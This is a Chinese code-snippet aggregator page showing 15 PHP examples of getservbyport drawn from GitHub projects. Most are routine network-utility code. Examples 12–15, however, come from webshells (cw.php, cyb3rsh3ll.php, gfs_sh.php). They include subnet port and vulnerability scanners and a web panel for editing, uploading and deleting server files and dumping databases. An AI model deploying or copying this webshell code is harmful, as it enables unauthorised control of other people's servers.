当前位置: 首页>>代码示例>>PHP>>正文


PHP getservbyport函数代码示例

本文整理汇总了PHP中getservbyport函数的典型用法代码示例。如果您正苦于以下问题:PHP getservbyport函数的具体用法?PHP getservbyport怎么用?PHP getservbyport使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了getservbyport函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: stat_block

function stat_block($summary, $stat, $num)
{
    global $g, $gotlines, $fields;
    uasort($summary[$stat], 'cmp');
    print "<table width=\"200\" cellpadding=\"3\" cellspacing=\"0\" border=\"1\" summary=\"source destination ip\">";
    print "<tr><th colspan=\"2\">{$fields[$stat]} " . gettext("data") . "</th></tr>";
    $k = array_keys($summary[$stat]);
    $total = 0;
    $numentries = 0;
    for ($i = 0; $i < $num; $i++) {
        if ($k[$i]) {
            $total += $summary[$stat][$k[$i]];
            $numentries++;
            $outstr = $k[$i];
            if (is_ipaddr($outstr)) {
                $outstr = "<a href=\"diag_dns.php?host={$outstr}\" title=\"" . gettext("Reverse Resolve with DNS") . "\"><img border=\"0\" src=\"/themes/{$g['theme']}/images/icons/icon_log.gif\" alt=\"log\" /></a> {$outstr}";
            } elseif (substr_count($outstr, '/') == 1) {
                list($proto, $port) = explode('/', $outstr);
                $service = getservbyport($port, strtolower($proto));
                if ($service) {
                    $outstr .= ": {$service}";
                }
            }
            print "<tr><td>{$outstr}</td><td width=\"50\" align=\"right\">{$summary[$stat][$k[$i]]}</td></tr>";
        }
    }
    $leftover = $gotlines - $total;
    if ($leftover > 0) {
        print "<tr><td>Other</td><td width=\"50\" align=\"right\">{$leftover}</td></tr>";
    }
    print "</table>";
}
开发者ID:OptimWIFI,项目名称:pfsense,代码行数:32,代码来源:diag_logs_filter_summary.php

示例2: indexAction

 public function indexAction()
 {
     if (isset($_GET['host']) and isset($_GET['port']) and isset($_GET['protocol'])) {
         if (is_string($_GET['host']) and is_numeric($_GET['port']) and $_GET['port'] > 0 and in_array($_GET['protocol'], array('tcp', 'udp'))) {
             sleep(1);
             $connection = @fsockopen($_GET['protocol'] . '://' . $_GET['host'], $_GET['port'], $errno, $errstr, 1);
             if (is_resource($connection)) {
                 stream_set_timeout($connection, 1);
             }
             if (is_resource($connection) and ($_GET['protocol'] == 'tcp' or fwrite($connection, "\n") and fread($connection, 1) != __FILE__ and $data = stream_get_meta_data($connection) and isset($data['timed_out']) and $data['timed_out'] == TRUE)) {
                 $service = getservbyport($_GET['port'], $_GET['protocol']);
                 if (!$service) {
                     $service = '<span style="cursor:help;" title="or unknown">hidden</span>';
                 } else {
                     $service = '<span style="cursor:help;" title="possibly maybe, or not">' . $service . '</span>';
                 }
                 die('<h3 style="font-weight:normal;display:none;"><b>' . $_GET['protocol'] . '</b>://<b>' . $_GET['host'] . '</b>:<b>' . $_GET['port'] . '</b> is <span style="color:green;"><u><b>opened</b></u></span> (service:' . $service . ')</h3>');
                 fclose($connection);
             } else {
                 die('<h3 style="font-weight:normal;display:none;"><b>' . $_GET['protocol'] . '</b>://<b>' . $_GET['host'] . '</b>:<b>' . $_GET['port'] . '</b> is <span style="color:red;"><u><b>closed</b></u></span> (errno:<span style="cursor:help;" title="' . utf8_encode($errstr ? preg_replace('/^.*: +/', NULL, $errstr) : 'no error, no connection, nada') . '">' . $errno . '</span>)</h3>');
             }
         }
         exit;
     }
     return $this->parseLayout('portscan');
 }
开发者ID:ctubio,项目名称:www-toolbox,代码行数:26,代码来源:PortscanController.php

示例3: test_email

 function test_email()
 {
     $everythingisfine = 0;
     echo "<pre>";
     if (defined('SMTP_PWORD') && SMTP_PWORD != "******") {
         if (!in_array('openssl', get_loaded_extensions())) {
             die('<div style="color:red">you have to enable php_openssl in php.ini to use this service</div><br />');
         } else {
             echo "php_openssl in php.ini is enabled <br /><br />";
             $everythingisfine = 1;
         }
         $host = SMTP_HOST;
         $ports[] = SMTP_PORT;
         foreach ($ports as $port) {
             $connection = @fsockopen($host, $port);
             if (is_resource($connection)) {
                 echo '<b>' . $host . ':' . $port . '</b> ' . '(' . getservbyport($port, 'ssl') . ') is open.<br /><br />' . "\n";
                 fclose($connection);
                 $everythingisfine = 1;
             } else {
                 echo '<div style="color:red"><b>' . $host . ':' . $port . '</b> is not responding.</div><br /><br />' . "\n";
             }
         }
         if ($everythingisfine && $_GET['to']) {
             $emailDetails = SMTP_HOST . ":" . SMTP_PORT . " Username: " . SMTP_UNAME;
             try {
                 $response1 = $this->Sendgrid->sendGridEmail(SUPPORT_EMAIL, urldecode($_GET['to']), "Testing SMTP Simple Email -" . time(), $emailDetails, '');
                 echo "SMTP Simple Email Respond: ";
                 print_r($response1);
                 echo "<br/><br/>";
             } catch (Exception $e) {
                 echo 'Simple Email Caught exception: ', $e->getMessage(), "\n<br/>";
             }
             $this->Email->delivery = EMAIL_DELIVERY;
             $this->Email->to = urldecode($_GET['to']);
             $this->Email->subject = "Testing SMTP Template Email -" . time();
             $this->Email->from = FROM_EMAIL;
             $this->Email->template = 'test_email_template';
             $this->Email->sendAs = 'html';
             $this->set('message', $emailDetails);
             try {
                 $response2 = $this->Sendgrid->sendgridsmtp($this->Email);
                 echo "<br/>SMTP Template Email Respond: ";
                 print_r($response2);
                 exit;
             } catch (Exception $e) {
                 echo 'Template Email Caught exception: ', $e->getMessage(), "\n";
             }
         }
     } else {
         echo "Provide the details of SMTP email sending options in `app/Config/constants.php`";
     }
     exit;
 }
开发者ID:jgera,项目名称:orangescrum,代码行数:54,代码来源:CronController.php

示例4: apply

 public function apply($dbh, $matches, $term)
 {
     $result = false;
     $params = $this->bindParams($matches, $term, 2);
     if ($params !== false) {
         $port = $params[0];
         $proto = strtolower($params[1]);
         $service = getservbyport($port, $proto);
         $result = $service != false ? $service : "{$port}/{$proto}";
     }
     return $result;
 }
开发者ID:TheBillPleaseZA,项目名称:phplogmon,代码行数:12,代码来源:MatchesDecoderSrvbyport.class.php

示例5: check_open_port

/**
 * Check if DB_PORT is open for DB_HOST
 */
function check_open_port($host, $port)
{
    $connection = @fsockopen($host, $port);
    if (is_resource($connection)) {
        debug_msg($host . ':' . $port . ' ' . '(' . getservbyport($port, 'tcp') . ') port is open.');
        fclose($connection);
        return true;
    } else {
        debug_msg($host . ':' . $port . ' port is not responding.');
        return false;
    }
}
开发者ID:devgeniem,项目名称:better-wp-db-error,代码行数:15,代码来源:db-error.php

示例6: formatVSPort

function formatVSPort($port, $plain_text = FALSE)
{
    if ($port['proto'] == 'MARK') {
        return 'fwmark ' . $port['vport'];
    }
    $proto = strtolower($port['proto']);
    $name = $port['vport'] . '/' . $proto;
    $srv = getservbyport($port['vport'], $proto);
    if (!$plain_text && FALSE !== $srv) {
        return '<span title="' . $name . '">' . $srv . '</span>';
    } else {
        return $name;
    }
}
开发者ID:spartak-radchenko,项目名称:racktables,代码行数:14,代码来源:slb2-interface.php

示例7: checkGateway

 /**
  * @param Mirasvit_Helpdesk_Model_Gateway $gateway
  *
  * @return string
  */
 public function checkGateway($gateway)
 {
     $result = array();
     $ports = array('gmail.com' => 80, $gateway->getHost() => $gateway->getPort());
     foreach ($ports as $host => $port) {
         $connection = @fsockopen($host, $port);
         if (is_resource($connection)) {
             $result[] = $host . ':' . $port . ' ' . '(' . getservbyport($port, 'tcp') . ') is open.';
             fclose($connection);
         } else {
             $result[] = $host . ':' . $port . ' is closed.';
         }
     }
     return implode('<br>', $result);
 }
开发者ID:cesarfelip3,项目名称:clevermage_new,代码行数:20,代码来源:Mirasvit_Helpdesk_Helper_Checkenv.php

示例8: scan

 public function scan()
 {
     // TODO: verify that set_time_limit() is required
     set_time_limit(0);
     for ($index = $this->startPort; $index <= $this->endPort; $index++) {
         echo "scanning port: {$index}<br/>";
         flush();
         // TODO: deal with exceptions thrown by fsockopen
         $handle = fsockopen($this->hostIP, $index, $errno, $errstr, $this->timeout);
         if ($handle) {
             $service = getservbyport($index, "tcp");
             $this->openPorts[$index] = "{$service}";
             fclose($handle);
         }
     }
     return $this->openPorts;
 }
开发者ID:digideskio,项目名称:PHP-Portscanners,代码行数:17,代码来源:tcpPortScanner.php

示例9: build_port_info

function build_port_info($portarr, $proto)
{
    if (empty($portarr)) {
        return '';
    }
    $ports = array();
    asort($portarr);
    foreach (array_reverse($portarr, TRUE) as $port => $count) {
        $str = "";
        $service = getservbyport($port, strtolower($proto));
        $port = "{$proto}/{$port}";
        if (!empty($service)) {
            $port = "{$port} ({$service})";
        }
        $ports[] = "{$port}: {$count}";
    }
    return implode($ports, ', ');
}
开发者ID:8191,项目名称:opnsense-core,代码行数:18,代码来源:diag_states_summary.php

示例10: scan

 public function scan()
 {
     // test scan and setup scanner parameters
     echo "initial scan to determine network characteristics...<br/>";
     flush();
     $this->networkProbe();
     // conduct the scan
     for ($portNumber = $this->startPort; $portNumber <= $this->endPort; $portNumber++) {
         if ($this->output == 1) {
             echo "scanning port: {$portNumber}<br/>";
             flush();
         }
         if ($this->scanPort($portNumber)) {
             $service = getservbyport($portNumber, udp);
             $this->openPorts[$portNumber] = $service;
         }
     }
     $this->removeFalsePositives();
     // return the detected open ports array
     return $this->openPorts;
 }
开发者ID:digideskio,项目名称:PHP-Portscanners,代码行数:21,代码来源:udpPortScanner.php

示例11: do_scan_common_ports

 function do_scan_common_ports($ports)
 {
     $results = array();
     $ip = $this->ip_add;
     $wait = $this->wait;
     $ctr = 0;
     foreach ($ports as $port) {
         if (!getservbyport($port, "tcp")) {
             $pname = "";
         } else {
             $pname = getservbyport($port, "tcp");
         }
         $connection = @fsockopen($ip, $port);
         if (is_resource($connection)) {
             $status = "open";
             fclose($connection);
         } else {
             $status = "closed";
         }
         $results[$ctr] = array("number" => (int) $port, "name" => $pname, "status" => $status);
         $ctr++;
     }
     return $results;
 }
开发者ID:juncalpito,项目名称:Network-Scanner-API,代码行数:24,代码来源:networkscanner.class.php

示例12: scanneR

function scanneR()
{
    global $hcwd, $et;
    if (!empty($_SERVER['SERVER_ADDR'])) {
        $host = $_SERVER['SERVER_ADDR'];
    } else {
        $host = '127.0.0.1';
    }
    $udp = empty($_REQUEST['udp']) ? 0 : 1;
    $tcp = empty($_REQUEST['tcp']) ? 0 : 1;
    if (($udp || $tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])) {
        $target = $_REQUEST['target'];
        $from = (int) $_REQUEST['fromport'];
        $to = (int) $_REQUEST['toport'];
        $timeout = (int) $_REQUEST['timeout'];
        $nu = 0;
        echo '<font color=blue>Port scanning started against ' . htmlspecialchars($target) . ':<br>';
        $start = time();
        for ($i = $from; $i <= $to; $i++) {
            if ($tcp) {
                if (checkthisporT($target, $i, $timeout)) {
                    $nu++;
                    $ser = '';
                    if (getservbyport($i, 'tcp')) {
                        $ser = '(' . getservbyport($i, 'tcp') . ')';
                    }
                    echo "{$nu}) {$i} {$ser} (<a href='telnet://{$target}:{$i}'>Connect</a>) [TCP]<br>";
                }
            }
            if ($udp) {
                if (checkthisporT($target, $i, $timeout, 1)) {
                    $nu++;
                    $ser = '';
                    if (getservbyport($i, 'udp')) {
                        $ser = '(' . getservbyport($i, 'udp') . ')';
                    }
                    echo "{$nu}) {$i} {$ser} [UDP]<br>";
                }
            }
        }
        $time = time() - $start;
        echo "Done! ({$time} seconds)</font>";
    } elseif (!empty($_REQUEST['securityscanner'])) {
        echo '<font color=blue>';
        $start = time();
        $from = $_REQUEST['from'];
        $to = (int) $_REQUEST['to'];
        $timeout = (int) $_REQUEST['timeout'];
        $f = substr($from, strrpos($from, '.') + 1);
        $from = substr($from, 0, strrpos($from, '.'));
        if (!empty($_REQUEST['httpscanner'])) {
            echo 'Loading webserver bug list...';
            $buglist = whereistmP() . DIRECTORY_SEPARATOR . uniqid('BL');
            $dl = downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db', $buglist);
            if ($dl) {
                $file = file($buglist);
                echo 'Done! scanning started.<br><br>';
            } else {
                echo 'Failed!!! scanning started without webserver security testing...<br><br>';
            }
        } else {
            $fr = htmlspecialchars($from);
            echo "Scanning {$fr}.{$f}-{$fr}.{$to}:<br><br>";
        }
        for ($i = $f; $i <= $to; $i++) {
            $output = 0;
            $ip = "{$from}.{$i}";
            if (!empty($_REQUEST['nslookup'])) {
                $hn = gethostbyaddr($ip);
                if ($hn != $ip) {
                    echo "{$ip} [{$hn}]<br>";
                }
                $output = 1;
            }
            if (!empty($_REQUEST['ipscanner'])) {
                $port = $_REQUEST['port'];
                if (strstr($port, ',')) {
                    $p = explode(',', $port);
                } else {
                    $p[0] = $port;
                }
                $open = $ser = '';
                foreach ($p as $po) {
                    $scan = checkthisporT($ip, $po, $timeout);
                    if ($scan) {
                        $ser = '';
                        if ($ser = getservbyport($po, 'tcp')) {
                            $ser = "({$ser})";
                        }
                        $open .= " {$po}{$ser} ";
                    }
                }
                if ($open) {
                    echo "{$ip}) Open ports:{$open}<br>";
                    $output = 1;
                }
            }
            if (!empty($_REQUEST['httpbanner'])) {
                $res = get_sw_namE($ip, $timeout);
                if ($res) {
//.........这里部分代码省略.........
开发者ID:retanoj,项目名称:webshellSample,代码行数:101,代码来源:a824680ae0452cb5a0bebc0e8bf858f4.php

示例13: file_get_contents

}
echo "</center></form></td></tr><tr><td>\n<center><b><font size='2' face='Verdana'>:: Edit File ::<br></font></b>\n<form method='post' action=''>\n<input type='text' name='editfile' value=" . $dir . ">\n<input type='submit' value='Go' name='doedit'>\n</form>";
// Edit Files n3xpl0rer
if (isset($_POST['doedit']) && $_POST['editfile'] != $dir) {
    $file = $_POST['editfile'];
    $content = file_get_contents($file);
    echo "<form action='' method='post'><center>\n<input type='hidden' name='editfile' value='" . $file . "'>\n<textarea rows=20 cols=80 name='newtext'>" . htmlspecialchars($content) . "</textarea><br /><input type='submit' name='edit' value='Edit'></form>";
}
if (isset($_POST['edit'])) {
    $file = $_POST['editfile'];
    echo $file . "<br />";
    $fh = fopen($file, "w+") or die("<font color=red>Error: cannot open file</font>");
    fwrite($fh, stripslashes($_POST['newtext'])) or die("<font color=red>Error: cannot write to file</font>");
    fclose($fh);
    echo "Done.</td></tr>";
}
echo "\n</table>\n<table class='menu' cellspacing='0' cellpadding='0' border='0' width='100%'>\n<tr>\n<td valign=top>\n<center><b><font size='2' face='Verdana'>Dizin'e Git:<br></font></b>\n<form name='directory' method='post' action=''>\n<input type='text' name='dir' value={$dir}>\n<input type='submit' value='Go'>\n</form></td><td>\n<center><b><font size='2' face='Verdana'> Port Tarayýcý <br></font></b>\n   <form name='scanner' method='post'>\n   <input type='text' name='host' value='127.0.0.1' >\n   <select name='protocol'>\n   <option value='tcp'>tcp</option>\n   <option value='udp'>udp</option>\n   </select>\n   <input type='submit' value='Portlarý TARA'>\n   </form>\n";
if (isset($host) && isset($proto)) {
    echo "<font size='2' face='Verdana'>Open Ports:";
    for ($current = 0; $current <= 23; $current++) {
        $currents = $myports[$current];
        $service = getservbyport($currents, $proto);
        // Try to connect to port
        $result = fsockopen($host, $currents, $errno, $errstr, 1);
        // Show results
        if ($result) {
            echo "{$currents}, ";
        }
    }
}
echo "</font>\n</td></tr>\n\n<tr>\n<td valign=top width=50%>\n<center><b><font size='2' face='Verdana'>Dosya Upload<br></font></b>\n   <form method='post' action='' enctype='multipart/form-data'>\n   <input type='hidden' name='dare' value={$dir}>\n   <input type='file' name='ffile'>\n   <input type='submit' name='ok' value='Upload!'>\n   </center>   \n   </form>\n</td>\n<td valign=top>\n<center><b><font size='2' face='Verdana'>Dosya Sil<br></font></b>\n   <form method='post' action=''>\n   <input type='text' name='delete' value={$dir} > <input type='submit' value='Dosyayý Sil' name='deletfilez'>\n   </center>\n   </form>\n</td></tr>\n<tr>\n<td valign=top>\n \n<center><b><font size='2' face='Verdana'>Klasör Oluþtur<br></font></b>\n   <form method='post' action=''>\n   <input type='text' name='makedir' value={$dir}> <input type='submit' value='Oluþtur'>\n   </center>\n   </form>\n</td>\n<td valign=top>\n<center><b><font size='2' face='Verdana'>Klasör Sil<br></font></b>\n   <form method='post' action=''>\n   <input type='text' name='deletedir' value={$dir}> <input type='submit' value='Sil'>\n   </center>\n   </form>\n</td></tr>\n<tr>\n<td valign=top width=50%>\n<center><b><font size='2' face='Verdana'>Dosya Oluþtur:<br></font></b>\n   <form method='post' action=''>\n   <input type='hidden' name='darezz' value={$dir}>\n   <font size='1' face='Verdana'>ADI:</font><br>\n   <input type='text' name='names' size='30'><br>\n   <font size='1' face='Verdana'>Kodu:</font><br>\n   <textarea rows='16' cols='30' name='source'></textarea><br>\n   <input type='submit' value='Upload'>\n   </center>\n   </form>\n</td>\n<td valign=top width=50%>\n<center><b><font size='2' face='Verdana'>Database<br></font></b>\n   <form method='post' action=''>\n   <font size='1' face='Verdana'>Username: - Password:</font><br>\n   <input type='text' name='user' size='10'>\n   <input type='text' name='passd' size='10'><br>\n   <font size='1' face='Verdana'>Host:</font><br>\n   <input type='text' name='host' value='localhost'><br>\n   <font size='1' face='Verdana'>DB Name:</font><br>\n   <input type='text' name='db'><br>\n   <font size='1' face='Verdana'>Sorgu:</font><br>\n   <textarea rows='10' cols='30' name='query'></textarea><br>\n   <input type='submit' value='Sorguyu Calistir' name='godb'><br><input type='submit' name='dump' value='Database'yi Dump Et'>\n   </center>\n   </form>\n</td> </tr>\n\n</table>\n</table>\n<br />\n<table class='menu' cellspacing='0' cellpadding='0' border='0' width='100%'>\n<tr>\n<td valign=top>\n<center><b><font size='1' face='Verdana'>\nKingDefacer@msn.com\n</center></font></td></tr>\n</body>\n</html>";
开发者ID:Theov,项目名称:webshells,代码行数:31,代码来源:cw.php

示例14: flusheR

     }
 }
 flusheR();
 if (!empty($_REQUEST['ipscanner'])) {
     $port = $_REQUEST['port'];
     if (strstr($port, ",")) {
         $p = explode(",", $port);
     } else {
         $p[0] = $port;
     }
     $open = $ser = "";
     foreach ($p as $po) {
         $scan = checkthisporT($ip, $po, $timeout);
         if ($scan) {
             $ser = "";
             if ($ser = getservbyport($po, "tcp")) {
                 $ser = "({$ser})";
             }
             $open .= " {$po}{$ser} ";
         }
     }
     if ($open) {
         echo "{$ip}) Open ports:{$open}<br>";
         $output = 1;
     }
     flusheR();
 }
 if (!empty($_REQUEST['httpbanner'])) {
     $res = get_sw_namE($ip, $timeout);
     if ($res) {
         echo "{$ip}) Webserver software: ";
开发者ID:nbs-system,项目名称:php-malware-finder,代码行数:31,代码来源:cyb3rsh3ll.php

示例15: portscan

function portscan($host)
{
    global $port;
    echo "<table BORDER=1 align=center>";
    echo "<tr><td alling=center>Host:  </td><td alling=center><b><font color=green> " . $host . " </b></font></td></tr>";
    for ($i = 1; $i <= 65535; $i++) {
        $fp = fsockopen($host, $i, $errno, $errstr, 4);
        if ($fp) {
            fclose($fp);
            if (isset($port[$i])) {
                $k = $port[$i];
            } else {
                $k = getservbyport($i, "TCP");
            }
            if ($k == "") {
                $k = "N\\A";
            }
            echo "<tr><td alling=center>Port: " . $i . " </td><td alling=center><b><font color=green>" . $k . "</b></font></td>";
            echo "</tr>";
        }
    }
    echo "</table>";
}
开发者ID:Theov,项目名称:webshells,代码行数:23,代码来源:gfs_sh.php


注:本文中的getservbyport函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。